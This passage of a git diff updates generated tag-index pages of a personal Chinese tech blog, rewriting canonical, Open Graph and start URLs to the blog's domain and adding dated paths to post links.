     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/js-methods/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/js-methods/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/js-methods/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/js-methods/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: js methods | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/js-methods/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/js-methods/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/js常见的九种设计模式.html">js常见的九种设计模式</a></p>
+        <p class="article-headline-p"><a href="/2018/03/09/js常见的九种设计模式.html">js常见的九种设计模式</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/js常见的九种设计模式.html" target="_self">阅读全文</a>
+            <a href="/2018/03/09/js常见的九种设计模式.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/js/index.html b/public/tags/js/index.html
index f1480fc..442ce7a 100644
--- a/public/tags/js/index.html
+++ b/public/tags/js/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/js/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/js/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/js/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/js/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: js | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/js/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/js/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/JS常见的十大错误.html">JS常见的十大错误</a></p>
+        <p class="article-headline-p"><a href="/2018/02/07/JS常见的十大错误.html">JS常见的十大错误</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/JS常见的十大错误.html" target="_self">阅读全文</a>
+            <a href="/2018/02/07/JS常见的十大错误.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/js中的一些方法和函数.html">js中的一些方法和函数</a></p>
+        <p class="article-headline-p"><a href="/2017/10/22/js中的一些方法和函数.html">js中的一些方法和函数</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/js中的一些方法和函数.html" target="_self">阅读全文</a>
+            <a href="/2017/10/22/js中的一些方法和函数.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/koa/index.html b/public/tags/koa/index.html
index 7e439dc..5e67905 100644
--- a/public/tags/koa/index.html
+++ b/public/tags/koa/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/koa/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/koa/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/koa/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/koa/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: koa | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/koa/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/koa/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/learn-koa.html">learn-koa</a></p>
+        <p class="article-headline-p"><a href="/2017/09/06/learn-koa.html">learn-koa</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/learn-koa.html" target="_self">阅读全文</a>
+            <a href="/2017/09/06/learn-koa.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/localStotage/index.html b/public/tags/localStotage/index.html
index 917cd45..ca87b4b 100644
--- a/public/tags/localStotage/index.html
+++ b/public/tags/localStotage/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/localStotage/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/localStotage/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/localStotage/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/localStotage/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: localStotage | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/localStotage/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/localStotage/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/sessionStorage-localStotage-AND-cookies.html">sessionStorage localStotage AND cookies</a></p>
+        <p class="article-headline-p"><a href="/2017/08/16/sessionStorage-localStotage-AND-cookies.html">sessionStorage localStotage AND cookies</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/sessionStorage-localStotage-AND-cookies.html" target="_self">阅读全文</a>
+            <a href="/2017/08/16/sessionStorage-localStotage-AND-cookies.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/mongoDB/index.html b/public/tags/mongoDB/index.html
index 38e2425..48965a9 100644
--- a/public/tags/mongoDB/index.html
+++ b/public/tags/mongoDB/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/mongoDB/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/mongoDB/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/mongoDB/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/mongoDB/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: mongoDB | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/mongoDB/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/mongoDB/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/用vue撸一个二手商城.html">用vue撸一个二手商城</a></p>
+        <p class="article-headline-p"><a href="/2018/01/22/用vue撸一个二手商城.html">用vue撸一个二手商城</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/用vue撸一个二手商城.html" target="_self">阅读全文</a>
+            <a href="/2018/01/22/用vue撸一个二手商城.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/nodeJS/index.html b/public/tags/nodeJS/index.html
index 83e0c54..c52415b 100644
--- a/public/tags/nodeJS/index.html
+++ b/public/tags/nodeJS/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/nodejs/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/nodejs/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/nodejs/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/nodejs/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: nodejs | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/nodejs/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/nodejs/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html">ubuntu下搭建一个nodejs+nginx+mongodb服务器</a></p>
+        <p class="article-headline-p"><a href="/2017/12/27/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html">ubuntu下搭建一个nodejs+nginx+mongodb服务器</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html" target="_self">阅读全文</a>
+            <a href="/2017/12/27/ubuntu下搭建一个nodejs-nginx-mongodb服务器.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/react/index.html b/public/tags/react/index.html
index 53d682c..988130d 100644
--- a/public/tags/react/index.html
+++ b/public/tags/react/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/react/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/react/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/react/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/react/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: react | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/react/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/react/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/urlMaker.html">urlMaker</a></p>
+        <p class="article-headline-p"><a href="/2017/12/18/urlMaker.html">urlMaker</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/urlMaker.html" target="_self">阅读全文</a>
+            <a href="/2017/12/18/urlMaker.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/rock/index.html b/public/tags/rock/index.html
index 976581b..d0d8793 100644
--- a/public/tags/rock/index.html
+++ b/public/tags/rock/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/rock/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/rock/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/rock/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/rock/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: rock | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/rock/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/rock/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/我是愤怒.html">我是愤怒</a></p>
+        <p class="article-headline-p"><a href="/2017/01/07/我是愤怒.html">我是愤怒</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/我是愤怒.html" target="_self">阅读全文</a>
+            <a href="/2017/01/07/我是愤怒.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -498,7 +498,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/光辉岁月-间奏.html">光辉岁月-间奏</a></p>
+        <p class="article-headline-p"><a href="/2016/11/20/光辉岁月-间奏.html">光辉岁月-间奏</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -508,7 +508,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/光辉岁月-间奏.html" target="_self">阅读全文</a>
+            <a href="/2016/11/20/光辉岁月-间奏.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/sessionStorage/index.html b/public/tags/sessionStorage/index.html
index 7f6f887..eff872d 100644
--- a/public/tags/sessionStorage/index.html
+++ b/public/tags/sessionStorage/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/sessionStorage/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/sessionStorage/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
     <meta name="apple-mobile-web-app-title" content="Jzxer&#39;s Blog">
@@ -229,7 +229,7 @@
     
 
     <!-- The Open Graph protocol -->
-    <meta property="og:url" content="/tags/sessionStorage/">
+    <meta property="og:url" content="blog.jzxer.cn/tags/sessionStorage/">
     <meta property="og:type" content="blog">
     <meta property="og:title" content="标签: sessionStorage | Jzxer&#39;s Blog">
     <meta property="og:image" content="/img/favicon.png">
@@ -243,7 +243,7 @@
 
     <!-- Add canonical link for SEO -->
     
-        <link rel="canonical" href="/tags/sessionStorage/index.html" />
+        <link rel="canonical" href="blog.jzxer.cn/tags/sessionStorage/index.html" />
     
 
     <!-- Structured-data for SEO -->
@@ -313,7 +313,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
+        <p class="article-headline-p"><a href="/2018/03/19/如何规划自己的工作和生活.html"><span>[Top]</span>如何规划自己的工作和生活</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -323,7 +323,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
+            <a href="/2018/03/19/如何规划自己的工作和生活.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -372,7 +372,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
+        <p class="article-headline-p"><a href="/2017/06/15/vue高仿qq音乐官网.html"><span>[Top]</span>vue高仿qq音乐官网</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -382,7 +382,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
+            <a href="/2017/06/15/vue高仿qq音乐官网.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
@@ -437,7 +437,7 @@
     
 
         <!-- Post Title -->
-        <p class="article-headline-p"><a href="/sessionStorage-localStotage-AND-cookies.html">sessionStorage localStotage AND cookies</a></p>
+        <p class="article-headline-p"><a href="/2017/08/16/sessionStorage-localStotage-AND-cookies.html">sessionStorage localStotage AND cookies</a></p>
     </div>
 
     <!-- Post Excerpt -->
@@ -447,7 +447,7 @@
         
         &nbsp;&nbsp;&nbsp;
         <span>
-            <a href="/sessionStorage-localStotage-AND-cookies.html" target="_self">阅读全文</a>
+            <a href="/2017/08/16/sessionStorage-localStotage-AND-cookies.html" target="_self">阅读全文</a>
         </span>
     </div>
     <!-- Post_entry Info-->
diff --git a/public/tags/sticky布局/index.html b/public/tags/sticky布局/index.html
index 01f94d8..5d11918 100644
--- a/public/tags/sticky布局/index.html
+++ b/public/tags/sticky布局/index.html
@@ -214,7 +214,7 @@
     <!-- WebAPP Icons -->
     <meta name="mobile-web-app-capable" content="yes">
     <meta name="application-name" content="Jzxer&#39;s Blog">
-    <meta name="msapplication-starturl" content="/tags/sticky布局/">
+    <meta name="msapplication-starturl" content="blog.jzxer.cn/tags/sticky布局/">
     <meta name="msapplication-navbutton-color" content="#70c2cd">
     <meta name="apple-mobile-web-app-capable" content="yes">
